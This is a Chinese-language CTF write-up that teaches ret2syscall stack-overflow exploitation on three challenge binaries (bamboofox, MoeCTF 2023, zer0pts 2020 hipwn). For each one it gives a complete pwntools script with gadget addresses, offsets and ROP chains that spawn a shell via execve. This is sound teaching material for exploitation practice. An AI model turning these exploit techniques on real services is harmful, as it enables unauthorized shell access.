题目一

题目是bamboofox-ret2syscall
查看保护
image
32位的,好像忘记教32位的syscall了,这里的32位的execve的编号是11哦

查看函数的时候发现有一大堆,说明这个是静态的,所以我们不能用libc来做,开了NX,不能把 shellcode 放进栈里再直接跳过去执行

运行程序,给我们的提示是、

1
2
3
yanami@qjzhalx:~/pwn/syscall/rop$ ./rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?

看看有没有int 0x80
image
用ROPgadget还真找到了int 80
32 位 Linux int 0x80 的寄存器约定设置寄存器:

1
2
3
4
5
6
7
eax = 系统调用号
ebx = 第 1 个参数
ecx = 第 2 个参数
edx = 第 3 个参数
esi = 第 4 个参数
edi = 第 5 个参数
ebp = 第 6 个参数

找找寄存器,把eax,ebx,ecx,edx全部找到
并且看源码我们知道给了bin/sh
所以我们可以构建

1
2
3
4
5
eax = 11
ebx = bin/sh的地址
ecx = 0
edx = 0
int 80

这样我们就可以得到execve(/bin/sh,NULL,NULL)
那些寄存器和bin/sh自己找吧,很好找
接着是偏移量,是112,用cyclic就行
最后得到我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process("./rop")
elf = ELF("./rop")
int_80 = 0x08049421
bin_sh = next(elf.search(b'/bin/sh\x00'))
print(hex(bin_sh))
pop_eax = 0x080bb196
pop_ecx_ebx = 0x0806eb91
pop_edx = 0x0806eb6a
offset = 112
payload = flat(
b"A"*112,
pop_eax,
11,
pop_ecx_ebx,
0,
bin_sh,
pop_edx,
0,
int_80
)
gdb.attach(p, gdbscript=f'''
b *{int_80:#x}
c
''')//这里大家可以打断点去看看寄存器的值
p.send(payload)
p.interactive()

32位的我们就记住execve的编号是11就可以。

题目二

题目链接https://github.com/XDSEC/MoeCTF_2023/tree/main/Challenges/Pwn/ret2syscall

查看保护
image
开了NX,运行文件
image
直接问我syscall,这题肯定就是syscall了,我们gdb去看一下吧
image
函数不多,我们看看main函数

1
disass main

main中有栈溢出,这题肯定是栈溢出之后构建execve(bin/sh.NULL,NULL)
先找寄存器吧

1
ROPgadget --binary ret2syscall | grep ret

image
哇寄存器全在可以可以,看来是很简单的题目
看看syscall的地址和bin/sh的

1
2
ROPgadget --binary ret2syscall | grep syscall
ROPgadget --binary ret2syscall --string /bin/sh

image找下偏移量是72(cyclic)
说说思路栈溢出之后让rax=59也就是execve的编号
让rdi=binsh的地址
rsi和rdx=0
最后syscall就是execve(/bin/sh,0,0)
payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = process("./ret2syscall")
elf = ELF("./ret2syscall")
bin_sh = next(elf.search(b'/bin/sh\00'))
print(hex(bin_sh))
pop_rax = 0x40117e
pop_rdi = 0x401180
pop_rsi_rdx = 0x0401182
ret = 0x40101a
syscall = 0x401185
offset = 72
payload = flat(
b"A"*72,
ret,
pop_rax,
59,
pop_rdi,
bin_sh,
pop_rsi_rdx,
0,0,
syscall
)
p.recvuntil(b'Can you make a syscall?\n')
gdb.attach(p, gdbscript=f'''
b *{syscall:#x}
c
''')
p.send(payload)
p.interactive()

你看和我们做过的是一模一样的吧可能还会更简单

zer0pts CTF 2020 hipwn(64 位进阶)

二进制 · 源码
这是静态链接、符号被剥离的题,程序里没有 /bin/sh;需要先把字符串写到 BSS,再构造 execve 的系统调用链,适合练完整的 ret2syscall。
简单不写过程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = process("./chall")
elf = ELF("./chall")
# rop = ROP(elf)
# print(rop.find_gadget(["syscall", "ret"]))
#syscall_ret = next(elf.search(asm("syscall; ret")))
#print(hex(syscall_ret))
offset = 264
ret = 0x400122
pop_rax = 0x400121
pop_rdi = 0x40141c
pop_rsi_r15 = 0x40141a
pop_rdx = 0x4023f5
syscall = 0x4024dd
bss = elf.bss(0x200)
payload = flat(
b'A' * offset,
pop_rax,
0,
pop_rdi,
0,
pop_rsi_r15,
bss,
0,
pop_rdx,
8,
syscall,
0x400160
)
p.recvuntil(b"What's your team name?\n")
p.sendline(payload)
p.send(b"/bin/sh\x00")
payload1 = flat(
b'A' * offset,
pop_rax,
59,
pop_rdi,
bss,
pop_rsi_r15,
0,
0,
pop_rdx,
0,
syscall
)
p.recvuntil(b"What's your team name?\n")
p.sendline(payload1)
p.interactive()